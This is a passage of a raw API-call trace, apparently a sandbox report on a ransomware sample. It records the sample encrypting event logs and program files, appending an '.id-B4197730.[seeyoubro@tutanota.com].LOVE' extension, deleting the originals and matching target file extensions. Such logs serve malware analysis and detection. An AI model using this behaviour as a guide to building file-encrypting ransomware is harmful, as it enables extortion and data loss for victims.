(lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0196.753] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc64 | out: lpNewFilePointer=0x0) returned 1 [0196.753] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0196.753] ReadFile (in: hFile=0x2cc, lpBuffer=0x4088058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x4088058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.768] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0196.768] ReadFile (in: hFile=0x2cc, lpBuffer=0x40c8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x40c8058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.782] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x37dfc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0196.782] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc24 | out: lpNewFilePointer=0x0) returned 1 [0196.782] ReadFile (in: hFile=0x2cc, lpBuffer=0x4108058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x37dfc30, lpOverlapped=0x0 | out: lpBuffer=0x4108058*, lpNumberOfBytesRead=0x37dfc30*=0x40000, lpOverlapped=0x0) returned 1 [0196.803] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.803] WriteFile (in: hFile=0x2cc, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x37dfca8, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfca8*=0xc0110, lpOverlapped=0x0) returned 1 [0205.105] SetEndOfFile (hFile=0x2cc) returned 1 [0205.105] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x4401468 [0205.109] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0205.109] WriteFile (in: hFile=0x2cc, lpBuffer=0x4401468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x4401468*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0205.110] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0205.110] WriteFile (in: hFile=0x2cc, lpBuffer=0x4401468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x4401468*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0205.111] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x37dfc74 | out: lpNewFilePointer=0x0) returned 1 [0205.111] WriteFile (in: hFile=0x2cc, lpBuffer=0x4401468*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x37dfc80, lpOverlapped=0x0 | out: lpBuffer=0x4401468*, lpNumberOfBytesWritten=0x37dfc80*=0x40000, lpOverlapped=0x0) returned 1 [0205.112] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4401468 | out: hHeap=0x790000) returned 1 [0205.115] CloseHandle (hObject=0x2cc) returned 1 [0208.659] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.659] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString=".doc") returned 4 [0208.660] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0208.660] lstrlenW (lpString=".docx") returned 5 [0208.660] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0208.660] lstrlenW (lpString=".pdf") returned 4 [0208.660] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0208.660] lstrlenW (lpString=".xls") returned 4 [0208.660] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0208.660] lstrlenW (lpString=".xlsx") returned 5 [0208.660] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0208.660] lstrlenW (lpString=".ppt") returned 4 [0208.660] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0208.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString=".zip") returned 4 [0208.660] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0208.660] lstrlenW (lpString=".rar") returned 4 [0208.660] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0208.660] lstrlenW (lpString=".bz2") returned 4 [0208.660] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0208.660] lstrlenW (lpString=".7z") returned 3 [0208.660] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0208.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString=".dbf") returned 4 [0208.660] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0208.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString=".1cd") returned 4 [0208.660] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0208.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString=".jpg") returned 4 [0208.660] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0208.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.660] lstrlenW (lpString=".doc") returned 4 [0208.660] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0208.660] lstrlenW (lpString=".docx") returned 5 [0208.660] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0208.661] lstrlenW (lpString=".pdf") returned 4 [0208.661] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0208.661] lstrlenW (lpString=".xls") returned 4 [0208.661] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0208.661] lstrlenW (lpString=".xlsx") returned 5 [0208.661] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0208.661] lstrlenW (lpString=".ppt") returned 4 [0208.661] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0208.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.661] lstrlenW (lpString=".zip") returned 4 [0208.661] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0208.661] lstrlenW (lpString=".rar") returned 4 [0208.661] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0208.661] lstrlenW (lpString=".bz2") returned 4 [0208.661] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0208.661] lstrlenW (lpString=".7z") returned 3 [0208.661] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0208.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.661] lstrlenW (lpString=".dbf") returned 4 [0208.661] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0208.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.661] lstrlenW (lpString=".1cd") returned 4 [0208.661] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0208.661] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0208.661] lstrlenW (lpString=".jpg") returned 4 [0208.661] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0208.662] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.662] lstrlenW (lpString="Setup.evtx") returned 10 [0208.662] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0208.668] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=69632) returned 1 [0208.668] CloseHandle (hObject=0x2cc) returned 1 [0208.668] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0208.668] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.668] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0208.668] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.668] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.668] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0208.669] GetLastError () returned 0x0 [0208.669] ReadFile (in: hFile=0x2cc, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x11000, lpOverlapped=0x0) returned 1 [0208.692] WriteFile (in: hFile=0x388, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x11010, lpOverlapped=0x0) returned 1 [0208.694] ReadFile (in: hFile=0x2cc, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0208.694] WriteFile (in: hFile=0x388, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xe8, lpOverlapped=0x0) returned 1 [0208.694] SetEndOfFile (hFile=0x388) returned 1 [0208.694] CloseHandle (hObject=0x388) returned 1 [0208.696] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.696] SetEndOfFile (hFile=0x2cc) returned 1 [0208.697] CloseHandle (hObject=0x2cc) returned 1 [0208.697] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0208.697] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0208.697] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.697] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.697] lstrlenW (lpString=".doc") returned 4 [0208.698] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".docx") returned 5 [0208.698] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.698] lstrlenW (lpString=".pdf") returned 4 [0208.698] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".xls") returned 4 [0208.698] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".xlsx") returned 5 [0208.698] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.698] lstrlenW (lpString=".ppt") returned 4 [0208.698] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.698] lstrlenW (lpString=".zip") returned 4 [0208.698] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".rar") returned 4 [0208.698] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".bz2") returned 4 [0208.698] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".7z") returned 3 [0208.698] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.698] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.698] lstrlenW (lpString=".dbf") returned 4 [0208.698] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.698] lstrlenW (lpString=".1cd") returned 4 [0208.698] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.698] lstrlenW (lpString=".jpg") returned 4 [0208.698] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.698] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.698] lstrlenW (lpString=".doc") returned 4 [0208.698] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0208.698] lstrlenW (lpString=".docx") returned 5 [0208.699] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0208.699] lstrlenW (lpString=".pdf") returned 4 [0208.699] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString=".xls") returned 4 [0208.699] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString=".xlsx") returned 5 [0208.699] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0208.699] lstrlenW (lpString=".ppt") returned 4 [0208.699] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.699] lstrlenW (lpString=".zip") returned 4 [0208.699] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString=".rar") returned 4 [0208.699] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString=".bz2") returned 4 [0208.699] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString=".7z") returned 3 [0208.699] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0208.699] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.699] lstrlenW (lpString=".dbf") returned 4 [0208.699] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.699] lstrlenW (lpString=".1cd") returned 4 [0208.699] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0208.699] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0208.699] lstrlenW (lpString=".jpg") returned 4 [0208.699] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0208.699] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0208.699] lstrlenW (lpString="System.evtx") returned 11 [0208.699] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0208.704] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=1118208) returned 1 [0208.704] CloseHandle (hObject=0x33c) returned 1 [0208.704] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 0x20 [0208.704] GetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\system.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0208.704] CreateFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0208.704] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.704] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0208.704] CreateFileW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\system.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0208.704] GetLastError () returned 0x0 [0208.704] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0xffff0, lpOverlapped=0x0) returned 1 [0208.858] WriteFile (in: hFile=0x368, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xffff0, lpOverlapped=0x0) returned 1 [0208.875] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x11010, lpOverlapped=0x0) returned 1 [0209.116] WriteFile (in: hFile=0x368, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x11020, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0x11020, lpOverlapped=0x0) returned 1 [0209.180] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x0, lpOverlapped=0x0) returned 1 [0209.180] WriteFile (in: hFile=0x368, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x37dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesWritten=0x37dfc94*=0xea, lpOverlapped=0x0) returned 1 [0209.181] SetEndOfFile (hFile=0x368) returned 1 [0209.181] CloseHandle (hObject=0x368) returned 1 [0209.270] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.270] SetEndOfFile (hFile=0x33c) returned 1 [0209.272] CloseHandle (hObject=0x33c) returned 1 [0209.272] SetFileAttributesW (lpFileName="C:\\Logs\\System.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.272] DeleteFileW (lpFileName="C:\\Logs\\System.evtx" (normalized: "c:\\logs\\system.evtx")) returned 1 [0209.273] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.273] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.273] lstrlenW (lpString=".doc") returned 4 [0209.273] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0209.273] lstrlenW (lpString=".docx") returned 5 [0209.273] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0209.273] lstrlenW (lpString=".pdf") returned 4 [0209.273] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0209.273] lstrlenW (lpString=".xls") returned 4 [0209.273] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0209.273] lstrlenW (lpString=".xlsx") returned 5 [0209.273] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0209.274] lstrlenW (lpString=".ppt") returned 4 [0209.274] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.274] lstrlenW (lpString=".zip") returned 4 [0209.274] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString=".rar") returned 4 [0209.274] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString=".bz2") returned 4 [0209.274] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString=".7z") returned 3 [0209.274] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0209.274] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.274] lstrlenW (lpString=".dbf") returned 4 [0209.274] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.274] lstrlenW (lpString=".1cd") returned 4 [0209.274] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.274] lstrlenW (lpString=".jpg") returned 4 [0209.274] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.274] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.274] lstrlenW (lpString=".doc") returned 4 [0209.274] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString=".docx") returned 5 [0209.274] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0209.274] lstrlenW (lpString=".pdf") returned 4 [0209.274] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0209.274] lstrlenW (lpString=".xls") returned 4 [0209.275] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString=".xlsx") returned 5 [0209.275] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0209.275] lstrlenW (lpString=".ppt") returned 4 [0209.275] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.275] lstrlenW (lpString=".zip") returned 4 [0209.275] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString=".rar") returned 4 [0209.275] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString=".bz2") returned 4 [0209.275] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString=".7z") returned 3 [0209.275] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0209.275] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.275] lstrlenW (lpString=".dbf") returned 4 [0209.275] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.275] lstrlenW (lpString=".1cd") returned 4 [0209.275] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0209.275] lstrlenW (lpString="C:\\Logs\\System.evtx") returned 19 [0209.275] lstrlenW (lpString=".jpg") returned 4 [0209.275] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0209.275] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.275] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0209.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.283] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x37dff14 | out: lpFileSize=0x37dff14*=18624) returned 1 [0209.283] CloseHandle (hObject=0x33c) returned 1 [0209.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0209.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0209.283] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.283] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37dfec0 | out: lpNewFilePointer=0x0) returned 1 [0209.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.299] GetLastError () returned 0x0 [0209.300] ReadFile (in: hFile=0x33c, lpBuffer=0x4088020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4088020*, lpNumberOfBytesRead=0x37dfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0209.350] WriteFile (in: hFile=0x37c, lpBuffer=0x4088020*, nNumberOfBytesToWrite=0x48d0, 